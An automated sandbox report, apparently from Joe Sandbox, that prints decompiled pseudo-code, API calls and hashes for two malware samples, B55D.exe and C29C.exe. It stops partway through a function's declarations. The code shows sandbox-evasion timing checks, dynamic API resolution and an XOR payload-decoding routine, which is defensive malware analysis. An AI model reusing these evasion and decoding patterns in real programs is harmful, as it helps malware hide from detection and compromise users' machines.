Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction ID: c8a17d6b0792f06cef3f207f66557c802750b5ded6400bcd6e01f035931e7939
Opcode Fuzzy Hash: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction Fuzzy Hash: 6DF0E5305C4314A7DB109B55ED967AA37E6B72030AF20821BF904552C1EABDBCC4AF4F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B55D.exe PID: 4724 Parent PID: 6484 B55D.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000013.00000002.421667410.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_B55D.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000013.00000002.421667410.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_B55D.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000013.00000002.421667410.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_B55D.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000013.00000001.408807968.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_1_400000_B55D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000013.00000001.408807968.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_1_400000_B55D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000013.00000001.408807968.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_1_400000_B55D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000013.00000001.408807968.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_1_400000_B55D.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: C29C.exe PID: 6536 Parent PID: 3352 C29C.exeCOMMON

Executed Functions

Function 0040C2E0, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x770bd8
					_t30 =  *0x41aa64; // 0x74df0000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x770b30
					_t8 =  *0x41aa64; // 0x74df0000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x770c38
					_t41 =  *0x41aa64; // 0x74df0000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x76ec70
					_t32 =  *0x41aa64; // 0x74df0000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x76a8a8
					_t13 =  *0x41aa64; // 0x74df0000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x770cf8
					_t43 =  *0x41aa64; // 0x74df0000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x770c20
					_t34 =  *0x41aa64; // 0x74df0000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x770bf0
					_t18 =  *0x41aa64; // 0x74df0000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x770dd0
					_t45 =  *0x41aa64; // 0x74df0000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x770cb0
					_t36 =  *0x41aa64; // 0x74df0000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x76a8e8
					_t23 =  *0x41aa64; // 0x74df0000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x76a908
					_t47 =  *0x41aa64; // 0x74df0000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x74df0000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x770d28
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0x770b60
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x770b90
					_t29 =  *0x41a854; // 0x74b40000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x76aa68
					_t3 =  *0x41a934; // 0x749a0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(74DF0000,00770C38), ref: 0040C332
GetProcAddress.KERNEL32(74DF0000,0076EC70), ref: 0040C34A
GetProcAddress.KERNEL32(74DF0000,0076A8A8), ref: 0040C362
GetProcAddress.KERNEL32(74DF0000,00770CF8), ref: 0040C37B
GetProcAddress.KERNEL32(74DF0000,00770C20), ref: 0040C393
GetProcAddress.KERNEL32(74DF0000,00770BF0), ref: 0040C3AB
GetProcAddress.KERNEL32(74DF0000,00770DD0), ref: 0040C3C4
GetProcAddress.KERNEL32(74DF0000,00770CB0), ref: 0040C3DC
GetProcAddress.KERNEL32(74DF0000,0076A8E8), ref: 0040C3F4
GetProcAddress.KERNEL32(74DF0000,0076A908), ref: 0040C40D
GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNELBASE(00770D28,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00770B60,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(74B40000,00770B90), ref: 0040C468
GetProcAddress.KERNEL32(749A0000,0076AA68), ref: 0040C489

Strings

VirtualAllocExNuma, xrefs: 0040C418
pv, xrefs: 0040C33D
(w, xrefs: 0040C42E

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (w$VirtualAllocExNuma$pv
API String ID: 2238633743-2056684768
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 363.1, APIs: 144, Strings: 63, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
